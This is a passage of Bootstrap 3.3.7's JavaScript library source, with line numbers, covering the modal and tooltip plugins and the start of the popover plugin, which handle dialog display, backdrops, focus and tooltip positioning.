http://getbootstrap.com/javascript/#modals 920 | * ======================================================================== 921 | * Copyright 2011-2016 Twitter, Inc. 922 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 923 | * ======================================================================== */ 924 | 925 | 926 | +function ($) { 927 | 'use strict'; 928 | 929 | // MODAL CLASS DEFINITION 930 | // ====================== 931 | 932 | var Modal = function (element, options) { 933 | this.options = options 934 | this.$body = $(document.body) 935 | this.$element = $(element) 936 | this.$dialog = this.$element.find('.modal-dialog') 937 | this.$backdrop = null 938 | this.isShown = null 939 | this.originalBodyPad = null 940 | this.scrollbarWidth = 0 941 | this.ignoreBackdropClick = false 942 | 943 | if (this.options.remote) { 944 | this.$element 945 | .find('.modal-content') 946 | .load(this.options.remote, $.proxy(function () { 947 | this.$element.trigger('loaded.bs.modal') 948 | }, this)) 949 | } 950 | } 951 | 952 | Modal.VERSION = '3.3.7' 953 | 954 | Modal.TRANSITION_DURATION = 300 955 | Modal.BACKDROP_TRANSITION_DURATION = 150 956 | 957 | Modal.DEFAULTS = { 958 | backdrop: true, 959 | keyboard: true, 960 | show: true 961 | } 962 | 963 | Modal.prototype.toggle = function (_relatedTarget) { 964 | return this.isShown ? this.hide() : this.show(_relatedTarget) 965 | } 966 | 967 | Modal.prototype.show = function (_relatedTarget) { 968 | var that = this 969 | var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) 970 | 971 | this.$element.trigger(e) 972 | 973 | if (this.isShown || e.isDefaultPrevented()) return 974 | 975 | this.isShown = true 976 | 977 | this.checkScrollbar() 978 | this.setScrollbar() 979 | this.$body.addClass('modal-open') 980 | 981 | this.escape() 982 | this.resize() 983 | 984 | this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) 985 | 986 | this.$dialog.on('mousedown.dismiss.bs.modal', function () { 987 | that.$element.one('mouseup.dismiss.bs.modal', function (e) { 988 | if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true 989 | }) 990 | }) 991 | 992 | this.backdrop(function () { 993 | var transition = $.support.transition && that.$element.hasClass('fade') 994 | 995 | if (!that.$element.parent().length) { 996 | that.$element.appendTo(that.$body) // don't move modals dom position 997 | } 998 | 999 | that.$element 1000 | .show() 1001 | .scrollTop(0) 1002 | 1003 | that.adjustDialog() 1004 | 1005 | if (transition) { 1006 | that.$element[0].offsetWidth // force reflow 1007 | } 1008 | 1009 | that.$element.addClass('in') 1010 | 1011 | that.enforceFocus() 1012 | 1013 | var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) 1014 | 1015 | transition ? 1016 | that.$dialog // wait for modal to slide in 1017 | .one('bsTransitionEnd', function () { 1018 | that.$element.trigger('focus').trigger(e) 1019 | }) 1020 | .emulateTransitionEnd(Modal.TRANSITION_DURATION) : 1021 | that.$element.trigger('focus').trigger(e) 1022 | }) 1023 | } 1024 | 1025 | Modal.prototype.hide = function (e) { 1026 | if (e) e.preventDefault() 1027 | 1028 | e = $.Event('hide.bs.modal') 1029 | 1030 | this.$element.trigger(e) 1031 | 1032 | if (!this.isShown || e.isDefaultPrevented()) return 1033 | 1034 | this.isShown = false 1035 | 1036 | this.escape() 1037 | this.resize() 1038 | 1039 | $(document).off('focusin.bs.modal') 1040 | 1041 | this.$element 1042 | .removeClass('in') 1043 | .off('click.dismiss.bs.modal') 1044 | .off('mouseup.dismiss.bs.modal') 1045 | 1046 | this.$dialog.off('mousedown.dismiss.bs.modal') 1047 | 1048 | $.support.transition && this.$element.hasClass('fade') ? 1049 | this.$element 1050 | .one('bsTransitionEnd', $.proxy(this.hideModal, this)) 1051 | .emulateTransitionEnd(Modal.TRANSITION_DURATION) : 1052 | this.hideModal() 1053 | } 1054 | 1055 | Modal.prototype.enforceFocus = function () { 1056 | $(document) 1057 | .off('focusin.bs.modal') // guard against infinite focus loop 1058 | .on('focusin.bs.modal', $.proxy(function (e) { 1059 | if (document !== e.target && 1060 | this.$element[0] !== e.target && 1061 | !this.$element.has(e.target).length) { 1062 | this.$element.trigger('focus') 1063 | } 1064 | }, this)) 1065 | } 1066 | 1067 | Modal.prototype.escape = function () { 1068 | if (this.isShown && this.options.keyboard) { 1069 | this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) { 1070 | e.which == 27 && this.hide() 1071 | }, this)) 1072 | } else if (!this.isShown) { 1073 | this.$element.off('keydown.dismiss.bs.modal') 1074 | } 1075 | } 1076 | 1077 | Modal.prototype.resize = function () { 1078 | if (this.isShown) { 1079 | $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this)) 1080 | } else { 1081 | $(window).off('resize.bs.modal') 1082 | } 1083 | } 1084 | 1085 | Modal.prototype.hideModal = function () { 1086 | var that = this 1087 | this.$element.hide() 1088 | this.backdrop(function () { 1089 | that.$body.removeClass('modal-open') 1090 | that.resetAdjustments() 1091 | that.resetScrollbar() 1092 | that.$element.trigger('hidden.bs.modal') 1093 | }) 1094 | } 1095 | 1096 | Modal.prototype.removeBackdrop = function () { 1097 | this.$backdrop && this.$backdrop.remove() 1098 | this.$backdrop = null 1099 | } 1100 | 1101 | Modal.prototype.backdrop = function (callback) { 1102 | var that = this 1103 | var animate = this.$element.hasClass('fade') ? 'fade' : '' 1104 | 1105 | if (this.isShown && this.options.backdrop) { 1106 | var doAnimate = $.support.transition && animate 1107 | 1108 | this.$backdrop = $(document.createElement('div')) 1109 | .addClass('modal-backdrop ' + animate) 1110 | .appendTo(this.$body) 1111 | 1112 | this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { 1113 | if (this.ignoreBackdropClick) { 1114 | this.ignoreBackdropClick = false 1115 | return 1116 | } 1117 | if (e.target !== e.currentTarget) return 1118 | this.options.backdrop == 'static' 1119 | ? this.$element[0].focus() 1120 | : this.hide() 1121 | }, this)) 1122 | 1123 | if (doAnimate) this.$backdrop[0].offsetWidth // force reflow 1124 | 1125 | this.$backdrop.addClass('in') 1126 | 1127 | if (!callback) return 1128 | 1129 | doAnimate ? 1130 | this.$backdrop 1131 | .one('bsTransitionEnd', callback) 1132 | .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : 1133 | callback() 1134 | 1135 | } else if (!this.isShown && this.$backdrop) { 1136 | this.$backdrop.removeClass('in') 1137 | 1138 | var callbackRemove = function () { 1139 | that.removeBackdrop() 1140 | callback && callback() 1141 | } 1142 | $.support.transition && this.$element.hasClass('fade') ? 1143 | this.$backdrop 1144 | .one('bsTransitionEnd', callbackRemove) 1145 | .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : 1146 | callbackRemove() 1147 | 1148 | } else if (callback) { 1149 | callback() 1150 | } 1151 | } 1152 | 1153 | // these following methods are used to handle overflowing modals 1154 | 1155 | Modal.prototype.handleUpdate = function () { 1156 | this.adjustDialog() 1157 | } 1158 | 1159 | Modal.prototype.adjustDialog = function () { 1160 | var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight 1161 | 1162 | this.$element.css({ 1163 | paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', 1164 | paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' 1165 | }) 1166 | } 1167 | 1168 | Modal.prototype.resetAdjustments = function () { 1169 | this.$element.css({ 1170 | paddingLeft: '', 1171 | paddingRight: '' 1172 | }) 1173 | } 1174 | 1175 | Modal.prototype.checkScrollbar = function () { 1176 | var fullWindowWidth = window.innerWidth 1177 | if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 1178 | var documentElementRect = document.documentElement.getBoundingClientRect() 1179 | fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) 1180 | } 1181 | this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth 1182 | this.scrollbarWidth = this.measureScrollbar() 1183 | } 1184 | 1185 | Modal.prototype.setScrollbar = function () { 1186 | var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) 1187 | this.originalBodyPad = document.body.style.paddingRight || '' 1188 | if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) 1189 | } 1190 | 1191 | Modal.prototype.resetScrollbar = function () { 1192 | this.$body.css('padding-right', this.originalBodyPad) 1193 | } 1194 | 1195 | Modal.prototype.measureScrollbar = function () { // thx walsh 1196 | var scrollDiv = document.createElement('div') 1197 | scrollDiv.className = 'modal-scrollbar-measure' 1198 | this.$body.append(scrollDiv) 1199 | var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth 1200 | this.$body[0].removeChild(scrollDiv) 1201 | return scrollbarWidth 1202 | } 1203 | 1204 | 1205 | // MODAL PLUGIN DEFINITION 1206 | // ======================= 1207 | 1208 | function Plugin(option, _relatedTarget) { 1209 | return this.each(function () { 1210 | var $this = $(this) 1211 | var data = $this.data('bs.modal') 1212 | var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) 1213 | 1214 | if (!data) $this.data('bs.modal', (data = new Modal(this, options))) 1215 | if (typeof option == 'string') data[option](_relatedTarget) 1216 | else if (options.show) data.show(_relatedTarget) 1217 | }) 1218 | } 1219 | 1220 | var old = $.fn.modal 1221 | 1222 | $.fn.modal = Plugin 1223 | $.fn.modal.Constructor = Modal 1224 | 1225 | 1226 | // MODAL NO CONFLICT 1227 | // ================= 1228 | 1229 | $.fn.modal.noConflict = function () { 1230 | $.fn.modal = old 1231 | return this 1232 | } 1233 | 1234 | 1235 | // MODAL DATA-API 1236 | // ============== 1237 | 1238 | $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { 1239 | var $this = $(this) 1240 | var href = $this.attr('href') 1241 | var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 1242 | var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) 1243 | 1244 | if ($this.is('a')) e.preventDefault() 1245 | 1246 | $target.one('show.bs.modal', function (showEvent) { 1247 | if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown 1248 | $target.one('hidden.bs.modal', function () { 1249 | $this.is(':visible') && $this.trigger('focus') 1250 | }) 1251 | }) 1252 | Plugin.call($target, option, this) 1253 | }) 1254 | 1255 | }(jQuery); 1256 | 1257 | /* ======================================================================== 1258 | * Bootstrap: tooltip.js v3.3.7 1259 | * http://getbootstrap.com/javascript/#tooltip 1260 | * Inspired by the original jQuery.tipsy by Jason Frame 1261 | * ======================================================================== 1262 | * Copyright 2011-2016 Twitter, Inc. 1263 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 1264 | * ======================================================================== */ 1265 | 1266 | 1267 | +function ($) { 1268 | 'use strict'; 1269 | 1270 | // TOOLTIP PUBLIC CLASS DEFINITION 1271 | // =============================== 1272 | 1273 | var Tooltip = function (element, options) { 1274 | this.type = null 1275 | this.options = null 1276 | this.enabled = null 1277 | this.timeout = null 1278 | this.hoverState = null 1279 | this.$element = null 1280 | this.inState = null 1281 | 1282 | this.init('tooltip', element, options) 1283 | } 1284 | 1285 | Tooltip.VERSION = '3.3.7' 1286 | 1287 | Tooltip.TRANSITION_DURATION = 150 1288 | 1289 | Tooltip.DEFAULTS = { 1290 | animation: true, 1291 | placement: 'top', 1292 | selector: false, 1293 | template: '', 1294 | trigger: 'hover focus', 1295 | title: '', 1296 | delay: 0, 1297 | html: false, 1298 | container: false, 1299 | viewport: { 1300 | selector: 'body', 1301 | padding: 0 1302 | } 1303 | } 1304 | 1305 | Tooltip.prototype.init = function (type, element, options) { 1306 | this.enabled = true 1307 | this.type = type 1308 | this.$element = $(element) 1309 | this.options = this.getOptions(options) 1310 | this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport)) 1311 | this.inState = { click: false, hover: false, focus: false } 1312 | 1313 | if (this.$element[0] instanceof document.constructor && !this.options.selector) { 1314 | throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!') 1315 | } 1316 | 1317 | var triggers = this.options.trigger.split(' ') 1318 | 1319 | for (var i = triggers.length; i--;) { 1320 | var trigger = triggers[i] 1321 | 1322 | if (trigger == 'click') { 1323 | this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this)) 1324 | } else if (trigger != 'manual') { 1325 | var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin' 1326 | var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout' 1327 | 1328 | this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this)) 1329 | this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this)) 1330 | } 1331 | } 1332 | 1333 | this.options.selector ? 1334 | (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) : 1335 | this.fixTitle() 1336 | } 1337 | 1338 | Tooltip.prototype.getDefaults = function () { 1339 | return Tooltip.DEFAULTS 1340 | } 1341 | 1342 | Tooltip.prototype.getOptions = function (options) { 1343 | options = $.extend({}, this.getDefaults(), this.$element.data(), options) 1344 | 1345 | if (options.delay && typeof options.delay == 'number') { 1346 | options.delay = { 1347 | show: options.delay, 1348 | hide: options.delay 1349 | } 1350 | } 1351 | 1352 | return options 1353 | } 1354 | 1355 | Tooltip.prototype.getDelegateOptions = function () { 1356 | var options = {} 1357 | var defaults = this.getDefaults() 1358 | 1359 | this._options && $.each(this._options, function (key, value) { 1360 | if (defaults[key] != value) options[key] = value 1361 | }) 1362 | 1363 | return options 1364 | } 1365 | 1366 | Tooltip.prototype.enter = function (obj) { 1367 | var self = obj instanceof this.constructor ? 1368 | obj : $(obj.currentTarget).data('bs.' + this.type) 1369 | 1370 | if (!self) { 1371 | self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) 1372 | $(obj.currentTarget).data('bs.' + this.type, self) 1373 | } 1374 | 1375 | if (obj instanceof $.Event) { 1376 | self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true 1377 | } 1378 | 1379 | if (self.tip().hasClass('in') || self.hoverState == 'in') { 1380 | self.hoverState = 'in' 1381 | return 1382 | } 1383 | 1384 | clearTimeout(self.timeout) 1385 | 1386 | self.hoverState = 'in' 1387 | 1388 | if (!self.options.delay || !self.options.delay.show) return self.show() 1389 | 1390 | self.timeout = setTimeout(function () { 1391 | if (self.hoverState == 'in') self.show() 1392 | }, self.options.delay.show) 1393 | } 1394 | 1395 | Tooltip.prototype.isInStateTrue = function () { 1396 | for (var key in this.inState) { 1397 | if (this.inState[key]) return true 1398 | } 1399 | 1400 | return false 1401 | } 1402 | 1403 | Tooltip.prototype.leave = function (obj) { 1404 | var self = obj instanceof this.constructor ? 1405 | obj : $(obj.currentTarget).data('bs.' + this.type) 1406 | 1407 | if (!self) { 1408 | self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) 1409 | $(obj.currentTarget).data('bs.' + this.type, self) 1410 | } 1411 | 1412 | if (obj instanceof $.Event) { 1413 | self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false 1414 | } 1415 | 1416 | if (self.isInStateTrue()) return 1417 | 1418 | clearTimeout(self.timeout) 1419 | 1420 | self.hoverState = 'out' 1421 | 1422 | if (!self.options.delay || !self.options.delay.hide) return self.hide() 1423 | 1424 | self.timeout = setTimeout(function () { 1425 | if (self.hoverState == 'out') self.hide() 1426 | }, self.options.delay.hide) 1427 | } 1428 | 1429 | Tooltip.prototype.show = function () { 1430 | var e = $.Event('show.bs.' + this.type) 1431 | 1432 | if (this.hasContent() && this.enabled) { 1433 | this.$element.trigger(e) 1434 | 1435 | var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0]) 1436 | if (e.isDefaultPrevented() || !inDom) return 1437 | var that = this 1438 | 1439 | var $tip = this.tip() 1440 | 1441 | var tipId = this.getUID(this.type) 1442 | 1443 | this.setContent() 1444 | $tip.attr('id', tipId) 1445 | this.$element.attr('aria-describedby', tipId) 1446 | 1447 | if (this.options.animation) $tip.addClass('fade') 1448 | 1449 | var placement = typeof this.options.placement == 'function' ? 1450 | this.options.placement.call(this, $tip[0], this.$element[0]) : 1451 | this.options.placement 1452 | 1453 | var autoToken = /\s?auto?\s?/i 1454 | var autoPlace = autoToken.test(placement) 1455 | if (autoPlace) placement = placement.replace(autoToken, '') || 'top' 1456 | 1457 | $tip 1458 | .detach() 1459 | .css({ top: 0, left: 0, display: 'block' }) 1460 | .addClass(placement) 1461 | .data('bs.' + this.type, this) 1462 | 1463 | this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element) 1464 | this.$element.trigger('inserted.bs.' + this.type) 1465 | 1466 | var pos = this.getPosition() 1467 | var actualWidth = $tip[0].offsetWidth 1468 | var actualHeight = $tip[0].offsetHeight 1469 | 1470 | if (autoPlace) { 1471 | var orgPlacement = placement 1472 | var viewportDim = this.getPosition(this.$viewport) 1473 | 1474 | placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top' : 1475 | placement == 'top' && pos.top - actualHeight < viewportDim.top ? 'bottom' : 1476 | placement == 'right' && pos.right + actualWidth > viewportDim.width ? 'left' : 1477 | placement == 'left' && pos.left - actualWidth < viewportDim.left ? 'right' : 1478 | placement 1479 | 1480 | $tip 1481 | .removeClass(orgPlacement) 1482 | .addClass(placement) 1483 | } 1484 | 1485 | var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight) 1486 | 1487 | this.applyPlacement(calculatedOffset, placement) 1488 | 1489 | var complete = function () { 1490 | var prevHoverState = that.hoverState 1491 | that.$element.trigger('shown.bs.' + that.type) 1492 | that.hoverState = null 1493 | 1494 | if (prevHoverState == 'out') that.leave(that) 1495 | } 1496 | 1497 | $.support.transition && this.$tip.hasClass('fade') ? 1498 | $tip 1499 | .one('bsTransitionEnd', complete) 1500 | .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : 1501 | complete() 1502 | } 1503 | } 1504 | 1505 | Tooltip.prototype.applyPlacement = function (offset, placement) { 1506 | var $tip = this.tip() 1507 | var width = $tip[0].offsetWidth 1508 | var height = $tip[0].offsetHeight 1509 | 1510 | // manually read margins because getBoundingClientRect includes difference 1511 | var marginTop = parseInt($tip.css('margin-top'), 10) 1512 | var marginLeft = parseInt($tip.css('margin-left'), 10) 1513 | 1514 | // we must check for NaN for ie 8/9 1515 | if (isNaN(marginTop)) marginTop = 0 1516 | if (isNaN(marginLeft)) marginLeft = 0 1517 | 1518 | offset.top += marginTop 1519 | offset.left += marginLeft 1520 | 1521 | // $.fn.offset doesn't round pixel values 1522 | // so we use setOffset directly with our own function B-0 1523 | $.offset.setOffset($tip[0], $.extend({ 1524 | using: function (props) { 1525 | $tip.css({ 1526 | top: Math.round(props.top), 1527 | left: Math.round(props.left) 1528 | }) 1529 | } 1530 | }, offset), 0) 1531 | 1532 | $tip.addClass('in') 1533 | 1534 | // check to see if placing tip in new offset caused the tip to resize itself 1535 | var actualWidth = $tip[0].offsetWidth 1536 | var actualHeight = $tip[0].offsetHeight 1537 | 1538 | if (placement == 'top' && actualHeight != height) { 1539 | offset.top = offset.top + height - actualHeight 1540 | } 1541 | 1542 | var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight) 1543 | 1544 | if (delta.left) offset.left += delta.left 1545 | else offset.top += delta.top 1546 | 1547 | var isVertical = /top|bottom/.test(placement) 1548 | var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight 1549 | var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight' 1550 | 1551 | $tip.offset(offset) 1552 | this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical) 1553 | } 1554 | 1555 | Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) { 1556 | this.arrow() 1557 | .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%') 1558 | .css(isVertical ? 'top' : 'left', '') 1559 | } 1560 | 1561 | Tooltip.prototype.setContent = function () { 1562 | var $tip = this.tip() 1563 | var title = this.getTitle() 1564 | 1565 | $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title) 1566 | $tip.removeClass('fade in top bottom left right') 1567 | } 1568 | 1569 | Tooltip.prototype.hide = function (callback) { 1570 | var that = this 1571 | var $tip = $(this.$tip) 1572 | var e = $.Event('hide.bs.' + this.type) 1573 | 1574 | function complete() { 1575 | if (that.hoverState != 'in') $tip.detach() 1576 | if (that.$element) { // TODO: Check whether guarding this code with this `if` is really necessary. 1577 | that.$element 1578 | .removeAttr('aria-describedby') 1579 | .trigger('hidden.bs.' + that.type) 1580 | } 1581 | callback && callback() 1582 | } 1583 | 1584 | this.$element.trigger(e) 1585 | 1586 | if (e.isDefaultPrevented()) return 1587 | 1588 | $tip.removeClass('in') 1589 | 1590 | $.support.transition && $tip.hasClass('fade') ? 1591 | $tip 1592 | .one('bsTransitionEnd', complete) 1593 | .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : 1594 | complete() 1595 | 1596 | this.hoverState = null 1597 | 1598 | return this 1599 | } 1600 | 1601 | Tooltip.prototype.fixTitle = function () { 1602 | var $e = this.$element 1603 | if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') { 1604 | $e.attr('data-original-title', $e.attr('title') || '').attr('title', '') 1605 | } 1606 | } 1607 | 1608 | Tooltip.prototype.hasContent = function () { 1609 | return this.getTitle() 1610 | } 1611 | 1612 | Tooltip.prototype.getPosition = function ($element) { 1613 | $element = $element || this.$element 1614 | 1615 | var el = $element[0] 1616 | var isBody = el.tagName == 'BODY' 1617 | 1618 | var elRect = el.getBoundingClientRect() 1619 | if (elRect.width == null) { 1620 | // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093 1621 | elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top }) 1622 | } 1623 | var isSvg = window.SVGElement && el instanceof window.SVGElement 1624 | // Avoid using $.offset() on SVGs since it gives incorrect results in jQuery 3. 1625 | // See https://github.com/twbs/bootstrap/issues/20280 1626 | var elOffset = isBody ? { top: 0, left: 0 } : (isSvg ? null : $element.offset()) 1627 | var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() } 1628 | var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null 1629 | 1630 | return $.extend({}, elRect, scroll, outerDims, elOffset) 1631 | } 1632 | 1633 | Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) { 1634 | return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } : 1635 | placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } : 1636 | placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } : 1637 | /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width } 1638 | 1639 | } 1640 | 1641 | Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) { 1642 | var delta = { top: 0, left: 0 } 1643 | if (!this.$viewport) return delta 1644 | 1645 | var viewportPadding = this.options.viewport && this.options.viewport.padding || 0 1646 | var viewportDimensions = this.getPosition(this.$viewport) 1647 | 1648 | if (/right|left/.test(placement)) { 1649 | var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll 1650 | var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight 1651 | if (topEdgeOffset < viewportDimensions.top) { // top overflow 1652 | delta.top = viewportDimensions.top - topEdgeOffset 1653 | } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow 1654 | delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset 1655 | } 1656 | } else { 1657 | var leftEdgeOffset = pos.left - viewportPadding 1658 | var rightEdgeOffset = pos.left + viewportPadding + actualWidth 1659 | if (leftEdgeOffset < viewportDimensions.left) { // left overflow 1660 | delta.left = viewportDimensions.left - leftEdgeOffset 1661 | } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow 1662 | delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset 1663 | } 1664 | } 1665 | 1666 | return delta 1667 | } 1668 | 1669 | Tooltip.prototype.getTitle = function () { 1670 | var title 1671 | var $e = this.$element 1672 | var o = this.options 1673 | 1674 | title = $e.attr('data-original-title') 1675 | || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title) 1676 | 1677 | return title 1678 | } 1679 | 1680 | Tooltip.prototype.getUID = function (prefix) { 1681 | do prefix += ~~(Math.random() * 1000000) 1682 | while (document.getElementById(prefix)) 1683 | return prefix 1684 | } 1685 | 1686 | Tooltip.prototype.tip = function () { 1687 | if (!this.$tip) { 1688 | this.$tip = $(this.options.template) 1689 | if (this.$tip.length != 1) { 1690 | throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!') 1691 | } 1692 | } 1693 | return this.$tip 1694 | } 1695 | 1696 | Tooltip.prototype.arrow = function () { 1697 | return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow')) 1698 | } 1699 | 1700 | Tooltip.prototype.enable = function () { 1701 | this.enabled = true 1702 | } 1703 | 1704 | Tooltip.prototype.disable = function () { 1705 | this.enabled = false 1706 | } 1707 | 1708 | Tooltip.prototype.toggleEnabled = function () { 1709 | this.enabled = !this.enabled 1710 | } 1711 | 1712 | Tooltip.prototype.toggle = function (e) { 1713 | var self = this 1714 | if (e) { 1715 | self = $(e.currentTarget).data('bs.' + this.type) 1716 | if (!self) { 1717 | self = new this.constructor(e.currentTarget, this.getDelegateOptions()) 1718 | $(e.currentTarget).data('bs.' + this.type, self) 1719 | } 1720 | } 1721 | 1722 | if (e) { 1723 | self.inState.click = !self.inState.click 1724 | if (self.isInStateTrue()) self.enter(self) 1725 | else self.leave(self) 1726 | } else { 1727 | self.tip().hasClass('in') ? self.leave(self) : self.enter(self) 1728 | } 1729 | } 1730 | 1731 | Tooltip.prototype.destroy = function () { 1732 | var that = this 1733 | clearTimeout(this.timeout) 1734 | this.hide(function () { 1735 | that.$element.off('.' + that.type).removeData('bs.' + that.type) 1736 | if (that.$tip) { 1737 | that.$tip.detach() 1738 | } 1739 | that.$tip = null 1740 | that.$arrow = null 1741 | that.$viewport = null 1742 | that.$element = null 1743 | }) 1744 | } 1745 | 1746 | 1747 | // TOOLTIP PLUGIN DEFINITION 1748 | // ========================= 1749 | 1750 | function Plugin(option) { 1751 | return this.each(function () { 1752 | var $this = $(this) 1753 | var data = $this.data('bs.tooltip') 1754 | var options = typeof option == 'object' && option 1755 | 1756 | if (!data && /destroy|hide/.test(option)) return 1757 | if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options))) 1758 | if (typeof option == 'string') data[option]() 1759 | }) 1760 | } 1761 | 1762 | var old = $.fn.tooltip 1763 | 1764 | $.fn.tooltip = Plugin 1765 | $.fn.tooltip.Constructor = Tooltip 1766 | 1767 | 1768 | // TOOLTIP NO CONFLICT 1769 | // =================== 1770 | 1771 | $.fn.tooltip.noConflict = function () { 1772 | $.fn.tooltip = old 1773 | return this 1774 | } 1775 | 1776 | }(jQuery); 1777 | 1778 | /* ======================================================================== 1779 | * Bootstrap: popover.js v3.3.7 1780 | * http://getbootstrap.com/javascript/#popovers 1781 | * ======================================================================== 1782 | * Copyright 2011-2016 Twitter, Inc. 1783 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 1784 | * ======================================================================== */ 1785 | 1786 | 1787 | +function ($) { 1788 | 'use strict'; 1789 | 1790 | // POPOVER PUBLIC CLASS DEFINITION 1791 | // =============================== 1792 | 1793 | var Popover = function (element, options) { 1794 | this.init('popover', element, options) 1795 | } 1796 | 1797 | if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') 1798 | 1799 | Popover.VERSION = '3.3.7' 1800 | 1801 | Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, { 1802 | placement: 'right', 1803 | trigger: 'click', 1804 | content: '', 1805 | template: '' 1806 | }) 1807 | 1808 | 1809 | // NOTE: POPOVER EXTENDS tooltip.js 1810 | // ================================ 1811 | 1812 | Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) 1813 | 1814 | Popover.prototype.constructor = Popover 1815 | 1816 | Popover.prototype.getDefaults = function () { 1817 | return Popover.DEFAULTS 1818 | } 1819 | 1820 | Popover.prototype.setContent = function () { 1821 | var $tip = this.tip() 1822 | var title = this.getTitle() 1823 | var content = this.getContent() 1824 | 1825 | $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) 1826 | $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events 1827 | this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text' 1828 | ](content) 1829 | 1830 | $tip.removeClass('fade top bottom left right in') 1831 | 1832 | // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do 1833 | // this manually by checking the contents. 1834 | if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide() 1835 | } 1836 | 1837 | Popover.prototype.hasContent = function () { 1838 | return this.getTitle() || this.getContent() 1839 | } 1840 | 1841 | Popover.prototype.getContent = function () { 1842 | var $e = this.$element 1843 | var o = this.options 1844 | 1845 | return $e.attr('data-content') 1846 | || (typeof o.content == 'function' ? 1847 | o.content.call($e[0]) : 1848 | o.content) 1849 | } 1850 | 1851 | Popover.prototype.arrow = function () { 1852 | return (this.$arrow = this.$arrow || this.tip().find('.arrow')) 1853 | } 1854 | 1855 | 1856 | // POPOVER PLUGIN DEFINITION 1857 | // ========================= 